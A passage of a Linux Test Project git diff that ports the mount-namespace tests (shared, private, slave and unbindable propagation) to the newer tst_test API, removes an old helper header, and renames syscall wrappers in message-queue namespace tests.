+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	if (access(DIRA "/B", F_OK) == 0)
+		tst_res(TPASS, "shared mount in child passed");
+	else
+		tst_res(TFAIL, "shared mount in child failed");
+
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_WAIT(NULL);
+
+	SAFE_UMOUNT(DIRA);
 }
 
-#else
-int main(void)
+static void setup(void)
 {
-	tst_brkm(TCONF, NULL, "needed mountflags are not defined");
+	check_newns();
+	create_folders();
 }
-#endif
+
+static void cleanup(void)
+{
+	umount_folders();
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/containers/mountns/mountns02.c b/testcases/kernel/containers/mountns/mountns02.c
index 0e0e03e..4b85fa7 100644
--- a/testcases/kernel/containers/mountns/mountns02.c
+++ b/testcases/kernel/containers/mountns/mountns02.c
@@ -1,149 +1,112 @@
-/* Copyright (c) 2014 Red Hat, Inc.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: mountns02.c
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
  * Tests a private mount: private mount does not forward or receive
  * propagation.
- * Description:
- * 1. Creates directories "A", "B" and files "A/A", "B/B"
- * 2. Unshares mount namespace and makes it private (so mounts/umounts
- *    have no effect on a real system)
- * 3. Bind mounts directory "A" to "A"
- * 4. Makes directory "A" private
- * 5. Clones a new child process with CLONE_NEWNS flag
- * 6. There are two test cases (where X is parent namespace and Y child
- *    namespace):
- *    1)
- *	X: bind mounts "B" to "A"
- *	Y: must see "A/A" and must not see "A/B"
- *	X: umounts "A"
- *    2)
- *	Y: bind mounts "B" to "A"
- *	X: must see "A/A" and must not see "A/B"
- *	Y: umounts A
- ***********************************************************************/
+ *
+ * [Algorithm]
+ *
+ * - Creates directories DIR_A, DIR_B and files DIR_A/"A", DIR_B/"B"
+ * - Unshares mount namespace and makes it private (so mounts/umounts have no
+ *   effect on a real system)
+ * - Bind mounts directory DIR_A to DIR_A
+ * - Makes directory DIR_A private
+ * - Clones a new child process with CLONE_NEWNS flag
+ * - There are two test cases (where X is parent namespace and Y child
+ *   namespace):
+ *  1. First test case
+ *   .. X: bind mounts DIR_B to DIR_A
+ *   .. Y: must see DIR_A/"A" and must not see DIR_A/"B"
+ *   .. X: umounts DIR_A
+ *  2. Second test case
+ *   .. Y: bind mounts DIR_B to DIR_A
+ *   .. X: must see DIR_A/"A" and must not see DIR_A/"B"
+ *   .. Y: umounts DIRA
+ */
 
-#define _GNU_SOURCE
 #include <sys/wait.h>
 #include <sys/mount.h>
-#include <stdio.h>
-#include <errno.h>
-#include "mountns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "mountns.h"
+#include "tst_test.h"
 
-char *TCID	= "mountns02";
-int TST_TOTAL	= 2;
-
-#if defined(MS_SHARED) && defined(MS_PRIVATE) && defined(MS_REC)
-
-int child_func(void *arg LTP_ATTRIBUTE_UNUSED)
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int ret = 0;
+	TST_CHECKPOINT_WAIT(0);
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
-
-	if ((access(DIRA"/A", F_OK) != 0) || (access(DIRA"/B", F_OK) == 0))
-		ret = 2;
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	/* bind mounts DIRB to DIRA making contents of DIRB visible
-	 * in DIRA */
-	if (mount(DIRB, DIRA, "none", MS_BIND, NULL) == -1) {
-		perror("mount");
-		return 1;
-	}
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	umount(DIRA);
-	return ret;
-}
-
-static void test(void)
-{
-	int status;
-
-	/* unshares the mount ns */
-	if (unshare(CLONE_NEWNS) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "unshare failed");
-	/* makes sure parent mounts/umounts have no effect on a real system */
-	SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL);
-
-	/* bind mounts DIRA to itself */
-	SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL);
-
-	/* makes mount DIRA private */
-	SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_PRIVATE, NULL);
-
-	if (do_clone_tests(CLONE_NEWNS, child_func, NULL, NULL, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-	/* bind mounts DIRB to DIRA making contents of DIRB visible
-	 * in DIRA */
-	SAFE_MOUNT(cleanup, DIRB, DIRA, "none", MS_BIND, NULL);
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0);
-
-	SAFE_UMOUNT(cleanup, DIRA);
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0);
-
-	if ((access(DIRA"/A", F_OK) != 0) || (access(DIRA"/B", F_OK) == 0))
-		tst_resm(TFAIL, "private mount in child failed");
+	if ((access(DIRA "/A", F_OK) != 0) || (access(DIRA "/B", F_OK) == 0))
+		tst_res(TFAIL, "private mount in parent failed");
 	else
-		tst_resm(TPASS, "private mount in child passed");
+		tst_res(TPASS, "private mount in parent passed");
 
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
+	SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL);
 
-	SAFE_WAIT(cleanup, &status);
-	if (WIFEXITED(status)) {
-		if ((WEXITSTATUS(status) == 0))
-			tst_resm(TPASS, "private mount in parent passed");
-		else
-			tst_resm(TFAIL, "private mount in parent failed");
-	}
-	if (WIFSIGNALED(status)) {
-		tst_resm(TBROK, "child was killed with signal %s",
-			 tst_strsig(WTERMSIG(status)));
-		return;
-	}
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-	SAFE_UMOUNT(cleanup, DIRA);
+	SAFE_UMOUNT(DIRA);
+
+	return 0;
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
+	int ret;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	SAFE_UNSHARE(CLONE_NEWNS);
 
-	setup();
+	/* makes sure parent mounts/umounts have no effect on a real system */
+	SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
+	SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL);
 
-	cleanup();
-	tst_exit();
+	SAFE_MOUNT("none", DIRA, "none", MS_PRIVATE, NULL);
+
+	ret = ltp_clone_quick(CLONE_NEWNS | SIGCHLD, child_func, NULL);
+	if (ret < 0)
+		tst_brk(TBROK, "clone failed");
+
+	SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_UMOUNT(DIRA);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	if ((access(DIRA "/A", F_OK) != 0) || (access(DIRA "/B", F_OK) == 0))
+		tst_res(TFAIL, "private mount in child failed");
+	else
+		tst_res(TPASS, "private mount in child passed");
+
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_WAIT(NULL);
+
+	SAFE_UMOUNT(DIRA);
 }
 
-#else
-int main(void)
+static void setup(void)
 {
-	tst_brkm(TCONF, NULL, "needed mountflags are not defined");
+	check_newns();
+	create_folders();
 }
-#endif
+
+static void cleanup(void)
+{
+	umount_folders();
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/containers/mountns/mountns03.c b/testcases/kernel/containers/mountns/mountns03.c
index 196a361..1d26a25 100644
--- a/testcases/kernel/containers/mountns/mountns03.c
+++ b/testcases/kernel/containers/mountns/mountns03.c
@@ -1,166 +1,122 @@
-/* Copyright (c) 2014 Red Hat, Inc.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: mountns03.c
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
  * Tests a slave mount: slave mount is like a shared mount except that
  * mount and umount events only propagate towards it.
  *
- * Description:
- * 1. Creates directories "A", "B" and files "A/A", "B/B"
- * 2. Unshares mount namespace and makes it private (so mounts/umounts
- *    have no effect on a real system)
- * 3. Bind mounts directory "A" to itself
- * 4. Makes directory "A" shared
- * 5. Clones a new child process with CLONE_NEWNS flag and makes "A"
- *    a slave mount
- * 6. There are two testcases (where X is parent namespace and Y child
- *    namespace):
- *    1)
- *	X: bind mounts "B" to "A"
- *	Y: must see the file "A/B"
- *	X: umounts "A"
- *    2)
- *	Y: bind mounts "B" to "A"
- *	X: must see only the "A/A" and must not see "A/B" (as slave
- *	   mount does not forward propagation)
- *	Y: umounts "A"
- ***********************************************************************/
+ * [Algorithm]
+ *
+ * - Creates directories DIRA, DIRB and files DIRA/"A", DIRB/"B"
+ * - Unshares mount namespace and makes it private (so mounts/umounts have no
+ *   effect on a real system)
+ * - Bind mounts directory DIRA to itself
+ * - Makes directory DIRA shared
+ * - Clones a new child process with CLONE_NEWNS flag and makes "A" a slave
+ *   mount
+ * - There are two testcases (where X is parent namespace and Y child
+ *   namespace):
+ *  1. First test case
+ *   .. X: bind mounts DIRB to DIRA
+ *   .. Y: must see the file DIRA/"B"
+ *   .. X: umounts DIRA
+ *  2. Second test case
+ *   .. Y: bind mounts DIRB to DIRA
+ *   .. X: must see only the DIRA/"A" and must not see DIRA/"B" (as slave mount does
+ *         not forward propagation)
+ *   .. Y: umounts DIRA
+ */
 
-#define _GNU_SOURCE
 #include <sys/wait.h>
 #include <sys/mount.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <errno.h>
-#include "mountns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "mountns.h"
+#include "tst_test.h"
 
-char *TCID	= "mountns03";
-int TST_TOTAL	= 2;
-
-#if defined(MS_SHARED) && defined(MS_PRIVATE) \
-    && defined(MS_REC) && defined(MS_SLAVE)
-
-int child_func(void *arg LTP_ATTRIBUTE_UNUSED)
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int ret = 0;
+	/*
+	 * makes mount DIRA a slave of DIRA (all slave mounts have
+	 * a master mount which is a shared mount)
+	 */
+	SAFE_MOUNT("none", DIRA, "none", MS_SLAVE, NULL);
 
-	/* makes mount DIRA a slave of DIRA (all slave mounts have
-	 * a master mount which is a shared mount) */
-	if (mount("none", DIRA, "none", MS_SLAVE, NULL) == -1) {
-		perror("mount");
-		return 1;
-	}
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	/* checks that shared mounts propagates to slave mount */
-	if (access(DIRA"/B", F_OK) == -1)
-		ret = 2;
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	/* bind mounts DIRB to DIRA making contents of DIRB visible
-	 * in DIRA */
-	if (mount(DIRB, DIRA, "none", MS_BIND, NULL) == -1) {
-		perror("mount");
-		return 1;
-	}
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
-
-	umount(DIRA);
-	return ret;
-}
-
-static void test(void)
-{
-	int status;
-
-	/* unshares the mount ns */
-	if (unshare(CLONE_NEWNS) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "unshare failed");
-	/* makes sure parent mounts/umounts have no effect on a real system */
-	SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL);
-
-	/* bind mounts DIRA to itself */
-	SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL);
-
-	/* makes mount DIRA shared */
-	SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_SHARED, NULL);
-
-	if (do_clone_tests(CLONE_NEWNS, child_func, NULL, NULL, NULL) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "clone failed");
-
-	/* waits for child to make a slave mount */
-	TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
-
-	/* bind mounts DIRB to DIRA making contents of DIRB visible
-	 * in DIRA */
-	SAFE_MOUNT(cleanup, DIRB, DIRA, "none", MS_BIND, NULL);
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0);
-
-	SAFE_UMOUNT(cleanup, DIRA);
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0);
-
-	/* checks that slave mount doesn't propagate to shared mount */
-	if ((access(DIRA"/A", F_OK) == 0) && (access(DIRA"/B", F_OK) == -1))
-		tst_resm(TPASS, "propagation from slave mount passed");
+	if (access(DIRA "/B", F_OK) == 0)
+		tst_res(TPASS, "propagation to slave mount passed");
 	else
-		tst_resm(TFAIL, "propagation form slave mount failed");
+		tst_res(TFAIL, "propagation to slave mount failed");
 
-	TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
+	SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL);
 
-	SAFE_WAIT(cleanup, &status);
-	if (WIFEXITED(status)) {
-		if (WEXITSTATUS(status) == 0)
-			tst_resm(TPASS, "propagation to slave mount passed");
-		else
-			tst_resm(TFAIL, "propagation to slave mount failed");
-	}
-	if (WIFSIGNALED(status)) {
-		tst_resm(TBROK, "child was killed with signal %s",
-			 tst_strsig(WTERMSIG(status)));
-		return;
-	}
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
-	SAFE_UMOUNT(cleanup, DIRA);
+	SAFE_UMOUNT(DIRA);
+
+	return 0;
 }
 
-int main(int argc, char *argv[])
+static void run(void)
 {
-	int lc;
+	int ret;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	SAFE_UNSHARE(CLONE_NEWNS);
 
-	setup();
+	/* makes sure parent mounts/umounts have no effect on a real system */
+	SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
+	SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL);
 
-	cleanup();
-	tst_exit();
+	SAFE_MOUNT("none", DIRA, "none", MS_SHARED, NULL);
+
+	ret = ltp_clone_quick(CLONE_NEWNS | SIGCHLD, child_func, NULL);
+	if (ret < 0)
+		tst_brk(TBROK, "clone failed");
+
+	TST_CHECKPOINT_WAIT(0);
+
+	SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	SAFE_UMOUNT(DIRA);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	if ((access(DIRA "/A", F_OK) == 0) && (access(DIRA "/B", F_OK) == -1))
+		tst_res(TPASS, "propagation from slave mount passed");
+	else
+		tst_res(TFAIL, "propagation form slave mount failed");
+
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_WAIT(NULL);
+
+	SAFE_UMOUNT(DIRA);
 }
 
-#else
-int main(void)
+static void setup(void)
 {
-	tst_brkm(TCONF, NULL, "needed mountflags are not defined");
+	check_newns();
+	create_folders();
 }
-#endif
+
+static void cleanup(void)
+{
+	umount_folders();
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/containers/mountns/mountns04.c b/testcases/kernel/containers/mountns/mountns04.c
index 1f022a6..fc392f1 100644
--- a/testcases/kernel/containers/mountns/mountns04.c
+++ b/testcases/kernel/containers/mountns/mountns04.c
@@ -1,89 +1,64 @@
-/* Copyright (c) 2014 Red Hat, Inc.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ***********************************************************************
- * File: mountns04.c
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2014 Red Hat, Inc.
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
  * Tests an unbindable mount: unbindable mount is an unbindable
  * private mount.
- * Description:
- * 1. Creates directories "A", "B" and files "A/A", "B/B"
- * 2. Unshares mount namespace and makes it private (so mounts/umounts
- *    have no effect on a real system)
- * 3. Bind mounts directory "A" to "A"
- * 4. Makes directory directory "A" unbindable
- * 5. Tries to bind mount unbindable "A" to "B":
- *    - if it fails, test passes
- *    - if it passes, test fails
- ***********************************************************************/
+ *
+ * - Creates directories DIRA, DIRB and files DIRA/"A", DIRB/"B"
+ * - Unshares mount namespace and makes it private (so mounts/umounts have no
+ *   effect on a real system)
+ * - Bind mounts directory DIRA to DIRA
+ * - Makes directory DIRA unbindable
+ * - Check if bind mount unbindable DIRA to DIRB fails as expected
+ */
 
-#define _GNU_SOURCE
 #include <sys/wait.h>
 #include <sys/mount.h>
-#include <stdio.h>
-#include <errno.h>
-#include "mountns_helper.h"
-#include "test.h"
-#include "safe_macros.h"
+#include "mountns.h"
+#include "tst_test.h"
 
-char *TCID	= "mountns04";
-int TST_TOTAL	= 1;
-
-#if defined(MS_SHARED) && defined(MS_PRIVATE) \
-    && defined(MS_REC) && defined(MS_UNBINDABLE)
-
-static void test(void)
+static void run(void)
 {
-	/* unshares the mount ns */
-	if (unshare(CLONE_NEWNS) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "unshare failed");
+	SAFE_UNSHARE(CLONE_NEWNS);
+
 	/* makes sure mounts/umounts have no effect on a real system */
-	SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL);
+	SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL);
 
-	/* bind mounts DIRA to itself */
-	SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL);
-	/* makes mount DIRA unbindable */
-	SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_UNBINDABLE, NULL);
+	SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL);
 
-	/* tries to bind mount unbindable DIRA to DIRB which should fail */
+	SAFE_MOUNT("none", DIRA, "none", MS_UNBINDABLE, NULL);
+
 	if (mount(DIRA, DIRB, "none", MS_BIND, NULL) == -1) {
-		tst_resm(TPASS, "unbindable mount passed");
+		tst_res(TPASS, "unbindable mount passed");
 	} else {
-		SAFE_UMOUNT(cleanup, DIRB);
-		tst_resm(TFAIL, "unbindable mount faled");
+		SAFE_UMOUNT(DIRB);
+		tst_res(TFAIL, "unbindable mount faled");
 	}
 
-	SAFE_UMOUNT(cleanup, DIRA);
+	SAFE_UMOUNT(DIRA);
 }
 
-int main(int argc, char *argv[])
+static void setup(void)
 {
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++)
-		test();
-
-	cleanup();
-	tst_exit();
+	check_newns();
+	create_folders();
 }
 
-#else
-int main(void)
+static void cleanup(void)
 {
-	tst_brkm(TCONF, NULL, "needed mountflags are not defined");
+	umount_folders();
 }
-#endif
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/containers/mountns/mountns_helper.h b/testcases/kernel/containers/mountns/mountns_helper.h
deleted file mode 100644
index 4b4538e..0000000
--- a/testcases/kernel/containers/mountns/mountns_helper.h
+++ /dev/null
@@ -1,61 +0,0 @@
-/* Copyright (c) 2014 Red Hat, Inc.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of version 2 the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-
-#include "libclone.h"
-#include "test.h"
-#include "safe_macros.h"
-
-#define DIRA "A"
-#define DIRB "B"
-
-static int dummy_child(void *v)
-{
-	(void) v;
-	return 0;
-}
-
-static int check_newns(void)
-{
-	int pid, status;
-
-	if (tst_kvercmp(2, 4, 19) < 0)
-		tst_brkm(TCONF, NULL, "CLONE_NEWNS not supported");
-
-	pid = do_clone_unshare_test(T_CLONE, CLONE_NEWNS, dummy_child, NULL);
-	if (pid == -1)
-		tst_brkm(TCONF | TERRNO, NULL, "CLONE_NEWNS not supported");
-	SAFE_WAIT(NULL, &status);
-
-	return 0;
-}
-
-static void cleanup(void)
-{
-	umount(DIRA);
-	umount(DIRB);
-	tst_rmdir();
-}
-
-static void setup(void)
-{
-	tst_require_root();
-	check_newns();
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(tst_rmdir);
-	SAFE_MKDIR(cleanup, DIRA, 0777);
-	SAFE_MKDIR(cleanup, DIRB, 0777);
-	SAFE_TOUCH(cleanup, DIRA"/A", 0, NULL);
-	SAFE_TOUCH(cleanup, DIRB"/B", 0, NULL);
-}
diff --git a/testcases/kernel/containers/mqns/mqns_01.c b/testcases/kernel/containers/mqns/mqns_01.c
index b4364ce..1d109e0 100644
--- a/testcases/kernel/containers/mqns/mqns_01.c
+++ b/testcases/kernel/containers/mqns/mqns_01.c
@@ -59,7 +59,7 @@
 		printf("read(p1[0], ...) failed: %s\n", strerror(errno));
 		exit(1);
 	}
-	mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDONLY);
+	mqd = tst_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDONLY);
 	if (mqd == -1) {
 		if (write(p2[1], "notfnd", strlen("notfnd") + 1) < 0) {
 			perror("write(p2[1], ...) failed");
@@ -105,7 +105,7 @@
 		tst_brkm(TBROK | TERRNO, NULL, "pipe failed");
 	}
 
-	mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL,
+	mqd = tst_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL,
 		0777, NULL);
 	if (mqd == -1) {
 		perror("mq_open");
@@ -118,7 +118,7 @@
 	if (r < 0) {
 		tst_resm(TFAIL, "failed clone/unshare");
 		mq_close(mqd);
-		ltp_syscall(__NR_mq_unlink, NOSLASH_MQ1);
+		tst_syscall(__NR_mq_unlink, NOSLASH_MQ1);
 		tst_exit();
 	}
 
@@ -142,7 +142,7 @@
 	if (mq_close(mqd) == -1) {
 		tst_brkm(TBROK | TERRNO, NULL, "mq_close failed");
 	}
-	ltp_syscall(__NR_mq_unlink, NOSLASH_MQ1);
+	tst_syscall(__NR_mq_unlink, NOSLASH_MQ1);
 
 	tst_exit();
 }
diff --git a/testcases/kernel/containers/mqns/mqns_02.c b/testcases/kernel/containers/mqns/mqns_02.c
index 85edf91..d4e785b 100644
--- a/testcases/kernel/containers/mqns/mqns_02.c
+++ b/testcases/kernel/containers/mqns/mqns_02.c
@@ -64,7 +64,7 @@
 	} else {
 
 		mqd =
-		    ltp_syscall(__NR_mq_open, NOSLASH_MQ1,
+		    tst_syscall(__NR_mq_open, NOSLASH_MQ1,
 			    O_RDWR | O_CREAT | O_EXCL, 0777, NULL);
 		if (mqd == -1) {
 			if (write(p2[1], "mqfail", strlen("mqfail") + 1) < 0) {
@@ -87,7 +87,7 @@
 					if (mq_close(mqd) < 0) {
 						perror("mq_close(mqd) failed");
 						exit(1);
-					} else if (ltp_syscall(__NR_mq_unlink,
+					} else if (tst_syscall(__NR_mq_unlink,
 							   NOSLASH_MQ1) < 0) {
 						perror("mq_unlink(" NOSLASH_MQ1
 						       ") failed");
@@ -161,7 +161,7 @@
 		tst_resm(TFAIL, "child process could not create mqueue");
 		umount(DEV_MQUEUE);
 	} else {
-		mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDONLY);
+		mqd = tst_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDONLY);
 		if (mqd == -1) {
 			tst_resm(TPASS,
 				 "Parent process can't see the mqueue");
diff --git a/testcases/kernel/containers/mqns/mqns_03.c b/testcases/kernel/containers/mqns/mqns_03.c
index e68ace8..a7452b9 100644
--- a/testcases/kernel/containers/mqns/mqns_03.c
+++ b/testcases/kernel/containers/mqns/mqns_03.c
@@ -71,7 +71,7 @@
 		exit(1);
 	}
 
-	mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL,
+	mqd = tst_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL,
 		0755, NULL);
 	if (mqd == -1) {
 		write(p2[1], "mqfail", 7);
diff --git a/testcases/kernel/containers/mqns/mqns_04.c b/testcases/kernel/containers/mqns/mqns_04.c
index a32e8b9..d07a85c 100644
--- a/testcases/kernel/containers/mqns/mqns_04.c
+++ b/testcases/kernel/containers/mqns/mqns_04.c
@@ -64,7 +64,7 @@
 
 	read(p1[0], buf, 3);	/* go */
 
-	mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL,
+	mqd = tst_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL,
 		0755, NULL);
 	if (mqd == -1) {
 		write(p2[1], "mqfail", 7);
diff --git a/testcases/kernel/containers/netns/Makefile b/testcases/kernel/containers/netns/Makefile
index 3756a55..3cc2b4a 100644
--- a/testcases/kernel/containers/netns/Makefile
+++ b/testcases/kernel/containers/netns/Makefile
@@ -1,21 +1,7 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) International Business Machines  Corp., 2008
+# Author: Veerendra <veeren@linux.vnet.ibm.com>
 # Copyright (c) 2015 Red Hat, Inc.
-#
-# This program is free software;  you can redistribute it and#or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
-# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-# for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-# Author:      Veerendra <veeren@linux.vnet.ibm.com>
-################################################################################
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/containers/netns/netns_breakns.sh b/testcases/kernel/containers/netns/netns_breakns.sh
index 1ce5d37..a5cec09 100755
--- a/testcases/kernel/containers/netns/netns_breakns.sh
+++ b/testcases/kernel/containers/netns/netns_breakns.sh
@@ -1,23 +1,9 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) Köry Maincent <kory.maincent@bootlin.com> 2020
 # Copyright (c) 2015 Red Hat, Inc.
 #
-# SYNOPSIS:
-# netns_breakns.sh <NS_EXEC_PROGRAM> <IP_VERSION> <COMM_TYPE>
-#
-# OPTIONS:
-#	* NS_EXEC_PROGRAM (ns_exec|ip)
-#		Program which will be used to enter and run other commands
-#		inside a network namespace.
-#	* IP_VERSION (ipv4|ipv6)
-#		Version of IP. (ipv4|ipv6)
-#	* COMM_TYPE (netlink|ioctl)
-#		Communication type between kernel and user space
-#		for basic setup: enabling and assigning IP addresses
-#		to the virtual ethernet devices. (Uses 'ip' command for netlink
-#		and 'ifconfig' for ioctl.)
-#
 # Tests communication with ip (uses netlink) and ifconfig (uses ioctl)
 # over a device which is not visible from the current network namespace.
 #
@@ -26,20 +12,7 @@
 # 1. using netlink (ip command).
 # 2. using ioctl (ifconfig command).
 
-TST_POS_ARGS=3
-TST_SETUP=do_setup
-TST_TESTFUNC=do_test
-. netns_helper.sh
-
-PROG=$1
-IP_VER=$2
-COM_TYPE=$3
-
-do_setup()
-{
-	netns_setup $PROG $IP_VER $COM_TYPE "192.168.0.2" "192.168.0.3" "fd00::2" "fd00::3"
-	tst_res TINFO "NS interaction: $PROG | devices setup: $COM_TYPE"
-}
